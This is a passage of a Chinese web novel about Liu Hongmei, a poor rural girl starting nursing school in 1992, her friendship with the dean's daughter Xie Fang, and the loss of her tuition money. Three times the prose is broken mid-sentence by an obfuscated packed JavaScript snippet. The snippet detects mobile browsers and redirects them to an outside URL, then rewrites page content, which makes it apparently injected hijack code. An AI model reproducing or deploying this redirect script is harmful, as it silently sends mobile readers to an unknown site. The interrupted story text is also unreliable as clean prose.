她们穿着洋装,脚上是皮鞋,半是关心地讨论着:“好像是,她干嘛呢。伞怎么放在被子上,不自个儿打啊?” “你看她那衣服,一身粗布,包袱还是布的,该不会没有行李箱吧。所以这伞,是宁愿护着行李,也不护这自个儿啊?” “就是说,至于嘛,校门口重买一套不就行了,才几块钱啊。” 才。她们说,才。 红梅低下头,不出声。缝在内衣里的钱莫名扎皮肤,又烫得慌。 并不完全一致的场景,却跟镇里的女孩不遑多让。 看来要准备好独来独往了,自尊心竖起她的身子,通知书直起她的腰。 我是跟你们不一样,然后呢? “喂!你们俩,不帮忙叫宿管阿姨也就算了,在这干什么呢?” 一道清丽的声音传来,原来雨幕里不知何时登场了第三个女孩。 她穿着白衬衣和牛仔裤,脚上踩着皮鞋,留着漂亮的马尾辫,向红梅走来,一边厉声斥责。 “看见有人需要帮忙,就帮一把啊?这儿的学生将来都要救死扶伤的。看着没钱就不救了,这就是你们要成为的医生吗?” 4. 理想 “谢芳,别仗着自己是院长女儿,就对别人颐指气使的,在这教训谁呢?” “我们也是看她可怜,想提醒她照顾自个儿,东西能再买,病了不值当。” “对啊,宿管阿姨本来打算去叫,你这么一说,我们偏不叫了。毕竟,我们可势利眼呢。” 语毕俩人便走了。 被称为谢芳的女孩吐口气,转向红梅,刚要开口,红梅先道了句:“谢谢。” “客气什么?总有那种嫌贫爱富的讨厌鬼。你以后也记着,该回敬就回敬,不然她们就会觉得你好欺负呢。”谢芳语气轻快寻常,自然地问,“我叫谢芳,今年读大一的新生,你呢?” “我叫刘红梅,也是今年读大一。” “真巧,是同学,说不定会分在一个班呢。那咱们就算认识啦,红梅。” 谢芳向她友好地伸出手,白嫩干净,红梅愣了愣,在谢芳鼓励的视线里,握了上去。 她的手又黄又糙,指尖皮肤龟裂,手背皮肤也毛毛躁躁,那是经年累月农活留下的痕迹,受着寒风,又冰,开裂的皮肤摸起来硬梆梆的,像微小的刀尖。 红梅握上去还怕伤了谢芳的手似的,虚在半空,笼着;谢芳的手却温暖又坚定,毫不迟疑地握上去,将那距离缩短为零。 张口的话语如其人一般,让人如沐花香:“好冰,等了多久了,还有外套穿吗?” “都卷在被卧里了。”红梅回答,不好意思笑着。过年都没穿的新衣服,只等着上大学穿,又怎么舍得在路上弄脏呢。 “这不是更好?少拿点大包小包,上路轻便。” 谢芳在红梅身侧站定,伞刚好把红梅笼在其内。红梅愣了愣,看向谢芳。谢芳只是眨眨眼,友好而安静地站在她身旁,并肩等着。 雨一直下。 谢芳端详一地行李,又看向落着锁的大门,嘟囔起来:“门没开……” 不知想到什么,她忽而一笑,把伞塞到红梅手里,踏进雨幕。 红梅一愣,拿着伞追出去,险险赶上,雨浇了谢芳一头。她看着谢芳左捶捶窗框,右松松玻璃,不知所措:“等等,你在干嘛?” “哈哈,这你就不知道了:这扇窗户玻璃被食堂阿姨的儿子,踢球踢破过,刚装了新的,插销还没上齐,等着也是等着,试试呢?” “这……这样不好吧?” 没被允许就进入落锁的房间,这岂不是……擅闯民宅? “我们只把被子塞进去,等在里面,躲躲风。你手太冷了,过会儿要是冻感冒怎么办。放心,有人问起来我负全责。毕竟修玻璃只有我知道嘛!” 谢芳笑,抹了把脸,又一使力,远处的天空轰然炸雷,窗户应声而开,向她们打开庇护的通道。 “你瘦,你先进去,我往里扔被子。” 红梅愣楞点头,就爬进窗户,在室内站定。 窗窄雨急,谢芳硬填两床被子进窗,随后跳进室内。红梅把它们靠墙放好,就要钻出去,被谢芳一把拽住衣领,动弹不得。 “你干嘛?”谢芳诧异道。 “你就留在这,我还是出去吧,这样我安心。” “……你可真是!”谢芳瞪眼睛,“我说了我负责呀。” 红梅笑笑:“你是院长女儿,我不是。” 俩人大眼瞪小眼,最终各退一步:谢芳让红梅再跳出窗户,红梅穿上了她的棉服。于是两个人,一个穿着棉服在屋檐下撑着伞,一个半身趴在窗子里往外望。 棉服足以扛过雪季,抵抗一些风并不是难事,红梅脸色红润起来。 “聊聊吗?”谢芳忽然说。 “好啊。”红梅点点头。 “你是外地人吧?” “你怎么……” “本地父母都会送到宿舍门口,甚至给铺床,不会叫孩子一个人报道;今天又是阴天,不挑这种天气出门的概率更大呀。” “我不是一个人来的,有个……表哥,去教务处换学生证了,我在等他。” “是亲表哥吗?你犹豫了一下。” “不是。” “那就不算亲戚啦。”谢芳歪歪头,转换话题,“为什么这么早来学校呢?还有一个月呢!” 红梅张了张嘴,不知从何说起。 谢芳看看她,兀自回答:“我先说吧,我是来图书馆看书的,想在开学前多学一点。为什么学医呢,因为我爸妈都是医生。我爸在外科,我妈在妇产科,逢年过节,总会有他们救过的病人来我家拜访,跟我爸妈唠家常。我爸妈记得每一位病人的情况,大出血、胎位不正、先天性疾病,或者什么外伤……这么多年,他们救了那么多人,让那么多人有了新生活呢!治病救人特别了不起吧?所以我早就盼着上大学了。” 描述理想的人,眼睛会发光。红梅莫名想起来载她回家的张大爷,谈起北京,谈起做贡献,笑容一样温暖明亮。红梅被他们感染着,嘴角也噙着笑容。 “你呢?” 谢芳发问,坦然的姿态让她觉得,好像什么都可以说。 “其实……我是农村人没错,家里遭蝗灾,本该秋收了,地里现在什么都没有。庄稼长不出来,今年就没有收入。没收入还是小事,没粮吃才是大事。把最后一点粮分完,父母投奔亲戚,我就先进城,看看有什么赚钱机会。将来就好好学习,留在医院,等单位分房子,把爸妈接进城……他们就再也不用怕没吃的了吧。” 红梅讪笑,对新朋友毫无保留, “很功利吧,不像你。” 谢芳听着她的坦诚,半晌没有说话。 红梅毫不意外,却暗自感慨连连:她这样纯粹善良的人,第一次见她这种人吧。背井离乡至此,连呼吸都感到愧疚的人,是没办法歌颂太阳的。她只会埋怨太阳为什么照得不够远,为什么不够亮。 “我只有一个问题:你会因为患者没钱付药费,就把他们拒之门外吗?” 红梅意外扭头,看到神色严肃的谢芳,反问:“没钱到什么地步算是没钱?” “付不起诊费,药钱说不定也要你贴,只会跟你保证以后有钱了还你,你从自己的生活费里抠出药钱,但治完病也许就再也见不到人的,那种没钱。” 红梅笑:“你经历了什么呀!” “我认真的,回答我这个问题就好。” “只要不是所有人都没钱,偶尔一两个跑了,我不会拒绝的。你看,我毕竟在那么多可以分配房子的职业里,选了这个嘛。” “那就没问题了,我们还是可以做好朋友的嘛。” “怎么说?” “为了赚钱,人就会不断学习,成为职业家,为了赚更多钱,人就会在职业的基础上追求技艺精湛,社会上会多一位超级厉害的医生。这是正向的影响,无论是想要留在省城的你,还是为了治病救人的我,追求什么,客观结果都是一样的。但赚了钱,钱怎么分配,是自己的事情。你可以安身立命,我就可以补贴没钱的人。我们都会过上想要的生活。” 谢芳信心满满,给红梅描画着蓝图,语气恢复之前的轻松愉快。 红梅好奇起来:“那,如果我刚刚说否定的答案呢?” “人如果只图钱,道德底线就会变得很低很低,遇到的人也会很坏很坏,这样的人多了,社会就会越变越差。医生工作的意义是什么呢?是为每个患病的人修理他们的身体,让他们回到正常的生活,发挥他们的才能,创造更大的价值。这样的人多了,我们就能够创造更好的世界。钱重要吗?重要,但还有更重要的事。等到有一天,每个人都能吃到同样好的东西,穿同样好的衣服,做创造价值的工作,那样的社会里,钱还有那么重要吗?最重要的,还是人呀。” 不知何时雨渐渐稀疏,消逝。天空出现一道光芒,它撕裂阴霾,落入尘世,映入水坑,在雾一般潮湿的空气里,扬出一道彩虹。 红梅就这样看着这景致,呼吸着这空气,和身边的友人,忽然就想:那么好的世界……会是什么样? “来了,宿管老师。” “诶呀,芳芳呀,你咋像个小子,成天跳窗户!看我不告诉你妈妈!” 遥遥地传来亲切的,带有方言味道的呼唤,宿管女老师握着一把钥匙,呼哧呼哧跑来开锁。 “李阿姨,芳芳冷呀,你看把这位同学冻成啥了?” 谢芳指指穿着棉服的红梅。 “诶呀不好意思,下雨天睡大觉,起迟了。你们的难处学校已经知道了,宿舍还没分配,你先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004296|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来住吧,开了学再调整。你看你瘦的,饿不饿,去食堂吃个饭,还是先睡觉啊?” 嘴上不停问候,李老师在值班室拿出一串钥匙,思考几秒便将地方分配好:一楼走廊尽头的房间。红梅谢芳跟着她,钥匙扭动翻转,门就渐渐打开,未来将生活的地方展现在红梅面前:水泥地,上下铺,超宽大的书桌,结实的椅子,明亮的窗。 这好过她住过的任何地方。 红梅欣喜地在原地转个圈,大笑,扑在窗边,打开窗户,新鲜的空气涌入。她眼睛闪闪发亮,看着新朋友,看着脾气很好的老师,笑容止不住上扬。 接下来的事情就简单得多:把行李放回房间,等学生证,把行李交给红梅表哥。 分配完宿舍后,李老师把宿舍钥匙和大门钥匙交给红梅,就又走了。 这下就轻松许多,俩人蹲在门厅里,等着。 “那个高大的男生是你表哥吗?”谢芳指着不远处道,眯了眯眼,“……还有教务处的刘老师啊。” “你不喜欢刘老师?” 察觉到友人的不满,红梅悄悄问。 “有一些传言……不过,谁知道呢。” 说曹操,曹操到。 谢芳礼貌向刘主任问候:“刘老师好。” 刘主任殷勤回答:“诶这不是芳芳嘛,怎么跑这儿来了。”又跟不明就里的刘勇解释,“这是咱们谢校长女儿,谢芳,跟你是同一届入学的同学。” 刘勇立刻问候:“您好,我是刘红梅表哥,我叫刘勇,学临床,妇产科方向的。” “你一个男生,学妇产科临床?”谢芳意外道,“学外科、内科不是更好吗?” “分数不够,以后转方向呗。”刘主任打圆场,“不过学妇产科也好,好找对象。” 刘勇耳朵通红,不想继续谈。他把学生证分给红梅,接着进大厅拿被卧。 红梅领到学生证,在谢芳想看的催促里打开证书,上书“护理系,1992年9月1日入学,刘红梅”。 谢芳扁扁嘴:“你跟我不是同系呢,好遗憾。” “但医学不是相通的吗。”红梅自然地问新朋友,“你知道护理系要学什么吗?” “现在不知道,但我们去图书馆学呀。一会儿整理完,你愿意在开学前跟我一起学习吗?”谢芳说着跺跺脚,“你看我你看我,你今天先休息,明天我来找你,一起去学习?” “好。” 红梅一口答应下来,二人道别,谢芳就走了,带着她的小花伞。刘主任跟谢芳一道走了,说是要聊天。 于是又剩下这一兄一妹,互看不顺眼的劲头又上来了。 “你怎么认识校长女儿的?”刘勇诧异问,在外人面前作态全无,只剩算盘,“你原来很懂该结交人啊。白替你操心了。回头把她介绍给我,万一成了,从她爹咱们校长那里,讨点钱都买不到的好处,岂不是很容易?” 红梅盯着地上的蚯蚓,被雨从地里冲出来,歪七扭八地蛄蛹。她拿树枝把它们挑回地里,慢慢吞吞,不搭腔。 刘勇一拍脑门:“作为交换,跟校长女儿差不多档次的男人,我也帮你留意,怎么样?” 终于听不下去,红梅平静地问:“你知道你为什么成绩总被我压一头吗?因为你心思太多了。” “我说姐姐,你可别在这装清高。如果你嫁对人,别说是在省城安家,小汽车、大哥大,让你爸妈人手一部都不会是问题。就算你没过过一天好日子,你难道还没见过好日子吗?” 红梅的耐心消耗殆尽,她目光明亮,望着据理力争的男人,慢慢道:“也许有一天你会跟她认识,会成为她的对象,老公,或者别的什么。我唯一能保证的是,你认识她的方式,不是通过我。谢谢你的一路关照,就到这里吧,我会还人情的。给你,给你全家。” 语毕她便不再听刘勇任何狡辩,关上女生宿舍楼大门,回到自己的寝室。 躺在床上,她不住地想。 如果能见到更好的世界。 如果好好工作就能建设那样好的世界。 等到接父母进城之后,像谢芳一样,她会把那当做新的理想,心无旁骛地前进吧。 在命运之外,或许也能存在别的理想。 5. 方向 世上有各种各样的人,处在各种各样的境遇里:为了名利,表里不一,为了权力,趋炎附势。而大多数没有钱财傍身的人,只能为了谋生,忍气吞声。 我就是最后这种。 但没什么好说的,只要目的达到了,忍又是什么过错呢? 谢芳呢? 红梅在夏风中轻快地舒了一口气,嘴角含笑,坐在对面的谢芳茫然看着她:“怎么啦?” “没事啊。” 谢芳歪歪头,继续低下头看书了。红梅低头看着书单,笑起来,继续学习。开学还早,图书馆完全没人,只有她俩坐在窗户旁,翻书,写字,探讨。 学习是一大早就开始的。谢芳言出必行,她一早就来宿舍楼找她,像个老妈子,喋喋不休: “早上好呀!不知道你几点起床,我赶了个七点,没想到你都洗漱好了。” “我六点就醒啦,还洗了衣服晾在水房。” “太勤快了吧!” “农村人的习惯罢了。” “吃饭了吗?” “我昨天带来的烙饼和鸡蛋还没吃完,你尝尝吗?” “只有烙饼鸡蛋呀?”谢芳皱皱鼻子,“有牛奶吗?还有苹果?” 红梅眨眨眼,饭盒铺在桌子上,两个鸡蛋加半盒饼,是她最后的不需要花钱的干粮。被朋友问过她突然有点后悔,昨天买完日用品,拖了地烧了水,倒是也没多累,晚上为什么把那个冷煎饼吃了呢,不然还能放在今天,招待她。 随后她想起来,因为终于有五毛钱整钱,她挣扎了一晚上要不要还给刘勇,又怕夏天食物放坏了,于是不得不在“真好吃”和“好贵啊”的感叹里反复横跳。睡前记账,抛开学费住宿费还剩四十块五毛。 省城里怎么什么都这么贵呢? 但是省城里工资也高,等到毕业给分房子啊!只要忍过这四年……得赶紧找赚钱的办法了。 红梅百般纠结地睡了。 “还没买,也没钱买呀。我这学期只带来三百块,两百多要交学费住宿费书费呢。”红梅坦诚相告。 “这个问题,我们来看看啊。”谢芳坐下来,拿过铅笔和纸,“你有三百块,学费我知道,大一一整年两百块,住宿费一年三十块,书费十块,你现在还剩六十拿来吃饭,但是你要知道上大学是有学生补贴的,护理系我帮你问过,每月十五块的补助。咱们食堂有国家补贴,三餐都吃,按照肉菜素材主食各一份的标准,一天也就花三毛,一个月九块,如果不出意外,应该足够生活了。” 在友人算的账面前,红梅目瞪口呆。每个月十五块,一年就是一百八十块。岂止是足够生活,努努力,甚至可以省出学费啊! “我不知道,原来还有学生补贴?” “是啊,你都高考过,努力站在这了,国家有什么理由不让你继续念书呢?比起现在的钱,你能够创造的价值更加重要啊。”谢芳笑眯眯地说,“只是九月开学才发,现在没有。但你也能对自己好一点。你看你,瘦得呀,床柱子都比你胳膊粗。” 红梅下意识就把手凑到床边,噢,还真是。 “这顿就算了,以后我要监督你好好吃三餐,每天肉蛋奶,变壮点吧。我们要开刀,要久站,都是需要力气的。你这样,站半个小时,得在手术台旁边给你安排床休息吧。” “哪有那么夸张,我在家也要下地干农活,我吃很多的。” “一点说服力都没有。”谢芳扁扁嘴,催促朋友,“吃完我们去图书馆学习吧,我带来了书单。早期的鸟儿有虫吃!我们要先人一步,自学成才!” 于是,就这样,她被谢芳带到图书馆,在谢芳和管理员的寒暄中办好借书证,就坐在了用于阅览的桌子旁。谢芳迫不及待,从兜里掏出两张书单,交给她:“看,我跟教导主任要的培养方案。我们就按照这个,先从感兴趣的入手吧。” “什么是培养方案?”红梅摸不着头脑。 “培养方案就是大学四年学生要学的课程体系,也就是要学习的内容。比如我的,临床的妇产方向,除了英语体育语文思修这些公共课,基础课程是生物化学、细胞、遗传、基础医学,外加可以选修的妇产科方向课程。你的方案里,公共课跟我一样,基础课部分一样,外加护理专业的课程。所以大部分课程我们还是能一起学的。” “你要读……五年吗?”红梅指向临床医学的学制,又看向自己,“我只要读四年?” “你知道护理专业的对口职位叫什么吗?” “其实,不是很清楚……你也知道,我只是图工作。” “临床医学专业对口职位叫医生,根据方向分为内科、外科、儿科等等,比如我想进的就是医院妇产科。护理专业的对口职位叫护士,你知道护士的工作范围吗?” “呃……看护住院的病人,送药,输液,如果有人需要急救,叫医生?” “没错,跟患者家属沟通,看护住院的患者,做一些打针这样的简单医疗工作。普通护士是这样。但我对你有更高的期待:大一结束,我们有转专业的政策,只要大一学年学分前两名就可以申请转到临床方向。你愿意来临床吗?” “读……读五年吗。” 红梅立刻就开始算账:学费、生活费、杂费…… “虽然是五年,但比起护理专业,医生有更好的前途。比如可以公派出国留学,更高的工资,更快晋升的职称。”谢芳极力用金钱诱惑好友,“你知道我为什么喜欢妇产方向吗,因为妇产科总是缺医生,大家都不喜欢妇产科就是因为风险太大。产妇身上可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004297|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人命,情况完全不同:产妇本身要面临的风险,最常见的生产大出血,妊娠高血压,羊水栓塞,每一个都容易出人命;孩子则有孩子的风险,呼吸骤停,心脏发育不良,肺炎,气胸……所以,非常考验医生的判断力,要很快随机应变,保住两个人的命,让她们健康地活下来。一次救两个人诶!成就感是双倍的……你笑什么嘛。” 红梅笑她:“你是真的想成为医生啊。” “那不然呢!” “你到底还需要在大学学什么啊,这不是都知道吗?” “知道这些医学常识算什么呢,每个医生都要学会的!我呢,不做则已,要做,就要成为最好的妇产科医生,将来成为劳动模范,去北京领奖。” “我相信你一定可以的,谢医生。” “拿到医生执照才算医生,我现在算什么嘛。”谢芳扁扁嘴,“所以呢,要不要转专业做我的同事呢?” 红梅笑起来:“医生要动手术吧,我做不来。就是在家杀鸡杀猪,我也得躲起来,不敢看。血淋淋的场面会把我吓坏,还怎么做事呢。” “你晕血?还做护士?” “没那么严重啦。只要别一次把血都流干……” 谢芳乐道:“要真那么严重,也不会送到医院,直接去别的地方了吧?我们再怎么样,也只能抢救活着的人啊。” “所以我就好好做护士吧,你救下来的人,我负责照料他们万无一失。” “好,说定了。” 于是话题再次转回课程本身。 红梅感叹:“有一半的课还是不一样的,你看,你要学药理,我要学护理。” 察觉到话音,谢芳敏锐地答:“护理只是你必须考试的课程,如果你想学,那就学啊。” “但看起来不是我该学的东西。”红梅摇摇头。 “多学一点有什么错呢?万一你恰好学到的东西,能在危急关头抢救一个人呢?”谢芳抓过课程体系,“说吧,想学哪个。我找书来给你,到时候能蹭课就蹭课,蹭不了课就看我的笔记。” “想学急救,尽管不是护士的执业范围,但知识分什么职业呢?” “好,我记下了。” 接着她们拿着各自的书单,穿行在书架之中,找到感兴趣的部分,就开始阅读。一直到开学日,二人生活的主要内容都是,谢芳监督红梅饮食营养,二人结伴去图书馆看书。 *** “那时,我以为我会成为一个巡回护士,谢芳做手术,我就帮助她整理器械、手术室环境。我们会成为最好的朋友,也会是最好的搭档。 “然后,就开学了。 “学校是一个很神奇的地方。它能让你做梦,也能让你清楚地知道,自己从哪来,将来又该回到何处。” 6. 开学 随着红梅对专业框架逐步掌握,暑热逐渐褪去,校园充盈着崭新的收获:学生。宿舍安排张贴在公示栏里,红梅率先搬到同一栋另一层,等待着同寝另外五位同学到来。 从小到大,红梅早已习惯住校生活,多多少少也琢磨出同学到校的顺序:先到校的,往往独身一人,学校环境要比家庭环境好太多,导致他们也乐于早日到校开始新生活,她自己就是实例;最后到校的往往经济条件最好,如谢芳善意猜测那样,有父母陪同,从卧室到宿舍不过半天时间,家里舒服,所以大半时间也在家待着,每每遇到这样的人,她都会心里默默感谢:公共资源这么紧俏,多亏她们存在,才能匀出来多一点,让自己舒服一点。 尽管这“一点”跟跳蚤没什么区别。 而朋友的交际,则是以学习、经济或地域为条件。 学习排名相近,会坐在一起研究习题,最好和最差之间是不会有什么交际的;谁买了什么新东西,就会成为同辈们议论焦点,在羡慕中获得的话语权,自成一派,成为学生们的潮流风向;再没有共性,回家总会结伴,于是地域成为最后一张兜底的网,让看起来可能不熟的人们藕断丝连。 这些规律并不会因为她身处镇子、城市、还是省城为转移,反而刚好,一次次加深她对规律的认知,差别仅仅是同学们到校的方式:自行车、三轮车、小轿车。 在跟她同名的张红梅到校前,六人间宿舍已经有亲疏分裂了:两个高中同学的镇里女孩陈晓晓、黄诺,大学又是同寝,自然成了更加亲密的朋友;一个同样农村出身的女孩王锦,经济条件略优于红梅,努力跟她们两位打得火热;一个隔壁富硕市出身的女孩应晚,第一天报到就说“我是滑档到这的”摆明立场,独来独往。 红梅在宿舍里放着的全身家当,已经替她自我介绍了:同舍们瞧不上,她就也不附和。傍晚回宿舍,女孩子们的话题从衣服、擦脸油谈到男朋友。她听着,偶尔好奇,洗漱上床,闭上眼就忘了:睁开眼,还有新的知识要学呢。 新朋友?她有谢芳呀。 “我宿舍也差不多,势利眼、炫富的、清高的……真没意思。这儿可是大学啊,大学。”谢芳对新室友们抱怨连连,“我连一句学习都没听她们说过。” “还没开学,新鲜劲还没过,过了就好了?”红梅友善地猜测。 “我不觉得我会和她们有什么共同话题。”谢芳头疼道,“你敢信吗,有人已经在打听男生身世了,说是要嫁好人家里去。我还是头一回见到这种人。” 红梅想了想说:“我们村只有上不了初中高中的,才会着急嫁人。” “……为什么?”谢芳惊到,“十二岁,都没来月经吧?” “村子里的女孩,基本都有弟弟。定了童养媳的亲,就去未婚夫家住,帮那边务农,偶尔回家也帮扶;拿了彩礼钱,家里就能供弟弟读书了,家里也能吃得好点穿得好点。” 没有弟弟,家里不宽裕,还念到大学的我,是村子里的特例。 红梅没说出口,不自觉地低下头。 忽然一只手出现在头发上,温柔地抚摸着。 红梅抬头,谢芳微笑着:“那不是你的错,你低什么头。” “听陈晓晓、黄诺互相揭短,还挺羡慕的。如果我也有这样一路走下去的朋友就好了,但事实只能告诉我,我只是一个不幸的幸存者。” “不对,你还有我。”谢芳格外认真纠正她的说词,又想到什么,“我还好,有同专业的朋友在隔壁宿舍,上课还能结伴,但是你同专业没有说得上话的人,是难一点……不对,还有一个人呢?” “跟我同名那位吗?还没到呢。” “还没到?后天可就开学了。” “可能是本地人?” 正如红梅所想,第二天中午,跟她同名的姑娘就被父母拉到宿舍了。或者说押?张红梅蹙着眉头看宿舍不肯进门的时候,她的母亲搂着女儿,父亲则提着水果、糖果分发,笑容亲切和蔼极了:“以后就和我们梅梅是同学了,大家互相关照。” “不是说好只要我选这个专业就不住校,你们接送吗。”张红梅嚷着,眼睛都要红了,止不住诘问父母,“还有说了多少次,我马上就要改名叫张月姣了,叫什么红梅啊,土得要命,要不是你们送礼送少了我哪用顶着这个名字上学,烦死了。” 母亲忙安抚张月姣的情绪,父亲则排解着尴尬:“好好好,改名很快就下来了。还有小同学,你叫刘红梅啊,我们月月不常住宿舍,你就住下铺吧。” 红梅脑海里飘过“叫什么红梅啊,土得要命”,没反应过来。 红梅是不识字的父母给她取的,村里也从来没长过梅花。 只是父亲偶然听过伟人的诗,记住了这样一种花而已。 察觉到她的呆滞,母亲打圆场:“红梅名字多好啊,梅花冬天开,象征坚韧不拔的意志;月姣只是更文雅,适合女孩子,温温柔柔的。” 张月姣父亲连连点头,把一兜子苹果都给了红梅。 母亲把床铺铺好,父亲又挨个打招呼说完吉祥话,令人瞠目的报到才算是结束。 “好一个娇小姐,可甭来宿舍了。” 红梅扭头,发现是应晚说的。 “……交朋友放一边,还是好好学习吧。” 预备开学,预备分发教科书的图书馆上了锁,好友二人在食堂见面。听完红梅的遭遇,谢芳无不感慨地说。 “我还没见过梅花呢。”红梅感叹着。 “这有什么,教学楼前面有两棵梅花树,明年一月就开花。不过不是红色的。”谢芳想了一会儿,“回头我帮你问问园丁大爷,他一定知道哪儿有。保证让你见上。” 红梅搓手:“谢谢!认识你真是太好了。” 谢芳假模假式地叹气:“你老这么客气,我也很难拿你当好朋友啊。” 红梅率先伸手,二人互相挠痒,嬉闹做一团。 “开学后应该没法经常这么见面了,我已经提前看到课表了。”捉弄累了,谢芳忽然说,“不过公共课还是能一起上,你可别偷懒,我会监督你的。” “你也是,别分开就松懈了啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004298|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,全中国最好的妇产科医生预备役。” “我才不会呢,打赌吗,今年我要做我们系第一。” “你一定行。” “明天开学,手续都知道怎么办吗?先是开学典礼,然后交学费、领书、领课表……” “我早就准备好了。”红梅信心满满,隔空拍着她内衣里的钱袋。 “今天早点休息,明天见?” “好。” 夜晚悄然降临,红梅收拾完这段时间自学笔记,洗漱完毕,就听着室友们聊天,脱下衣服睡觉了。临睡前她再次数了钱:两百学费,三十块住宿费,十块书费,剩下四十五块七毛六分,是她这学期的生活费。不,算上学生补助,还是大二要攒出来的学费。 她把它们分成几垛,藏在内衣里,内衣压在枕头下,就合上眼睛。 莫名地,梦里有一支花,红色的,很小,开在枝头,在图书馆前的草坪上,又高又红。 她下意识觉得那就是梅花,想要再接近一些,就爬上树,想再仔细看看,就掉下了树。剧烈疼痛叫她清醒,红梅睁开眼,发现自己趴在地上。 “你没事吧?” 红梅在月色里看清周遭,晕晕乎乎爬起来,看到对面床位的应晚瞪了她一眼,转身睡去。宿舍里还有打呼声从上铺传来,问她的是邻床下铺王锦。她在她关切的眼神里不好意地笑,小声说:“我没事。”就又爬上床。 这一次她没再做梦,反倒是宿舍里最后一个起床的人。 宿舍无人,她看着应晚的闹钟,时间即将指向开学典礼,她突然跳起来,匆匆忙忙穿衣,脑子里快速掠过谢芳跟她说的:交学费、领书、领课表。 交费,钱…… 她摸着内衣,拿出卷起来的钱,慌里慌张最后一遍数着钱数。十、二十、五十、一百、二百……二百三十五块七毛六分。 不对,差五十。 昨天…… 她一手攥紧钱,另一手掀起床上的任何东西,掀到地上,也没有看到任何疑似纸币的踪迹。她又把它们丢回床上,趴在地上,拿扫把仔仔细细扫着床下,任何一个角落都没有放过。她脑袋嗡嗡作响,像是有蜜蜂飞了进去:她重复这个动作,不断把床上的东西扔下去,又扔回去,扫着地,像要把水泥地扫出痕迹。不知道重复了多久,无论哪里都没有她要的东西,她忽然就站不直,头晕目眩,跪坐在地上。她呼吸急促,视线不清,眼泪大朵落在地上。擦不干净,目之所及一片朦胧。 她忽然手脚抽搐,不知道时间过了多久,也不知道自己怎么了。 神智唯有一点清明:五十块钱,地里一年收入也就一百多,她…… 等她再清醒过来,她看到自己躺在床上,一手死死攥着钱,一手攥着扫把。 谢芳坐在她身边,揉着她的胳膊和腿,冷静地问:“你现在呼吸性碱中毒。怎么了?发生什么了?不要着急,慢慢说,我们一起想办法。” 她像个哑巴,几经周折,哽咽才破口而出。 “不见了……有五十块钱。我的钱。不见了。” 7. 婚约 听到让红梅难过到昏迷的理由,谢芳讶异几秒开口:“我知道了,别急,冷静一点,分析看看现在是什么情况: “开学典礼不是特别重要,除了一些仪式感归属感,不会改变什么;学杂费住宿费还是得交,差多少需要算一算;怎么交学费这个事情,想一下可以求助的地方;最好是把钱如数找回,但时间够不够,大概率是不够的。 “现在你还有多少钱?” 红梅掉着眼泪,松开攥着钱的手,钞票如同秋天濒临枯黄的树叶,纷纷落在她身造。 谢芳极快把钱从小到大整理,数了一遍。 “你现在有……二百三十五块多,两百交学费,三十住宿,十块书费…… “书费不够,差五块,我们先想办法搞到五块。我身上只有一块多。 “我们现在有这些选择:按时交,跟你表哥借一下钱,凑够学费,先入学;不按时交,我跟教务处打个招呼,先把学费交了,其他两个暂缓,让他们从你上学期的补助里直接扣费,这样你手头能结余一点钱,不然你怎么生活。” 红梅直掉眼泪,默默眨着通红的眼睛,手脚却麻木着不听使唤。 谢芳蹲在她身边,手慢慢抚着她的胳膊,直安慰她:“不急,下午六点前交费都行。遇到事情冷静下来分析,一个一个解决嘛。着急成这样,要不是开学典礼我没看见你,专门过来找,你不知道要在地上躺多久呢。” “我……我好没用。” 红梅呜咽着,呼吸逐渐平缓,唯有身体些微颤动提醒她刚刚发生了什么。钱宛如攥在喉咙眼的手掌,暂时松开叫她呼吸,却也悬在眼前,窒息感如影随形。 她无不难过地开口,“我要是有你一半就好了。你好聪明,好冷静。” 谢芳摇摇头,坚决地纠正她:“不对,谁都有碰到天大的难处的时候,只是我遇到得早,你现在才遇到。只要跨过这个坎,你会发现,自己能够解决任何困难。”谢芳微笑道,眼睛一眨一眨,回忆着什么。 她们在宿舍里,安静地陪伴着彼此。 过了不久,红梅发觉身体不再抽搐,她试着坐起来,又差点栽倒。一个有力的胳膊撑住她,红梅扭头看去,看到谢芳的表情,笑得跟哭一样,慢慢下床,终于站在了地上。 “去报名。”红梅擦掉眼泪,坚定地说。 “去报名。”谢芳握着她的手,同样坚定地说。 第一步,找便宜哥哥借钱。 开学典礼主要是演讲,各种各样的领导值此,等到校长致辞结束,谢芳和红梅才到达礼堂,人已经散得七七八八。 纷杂人流里没见到刘勇,于是她们找去缴费处。食堂也不见人影,时间将近中午,她们到达男生宿舍。 谢芳找到同班同学,拜托他叫刘勇出来。 刘勇果然在宿舍,不多时下了楼,看到红梅微微挑眉,看到谢芳时,表情又多了些从容,仿佛在说:此一时,彼一时? 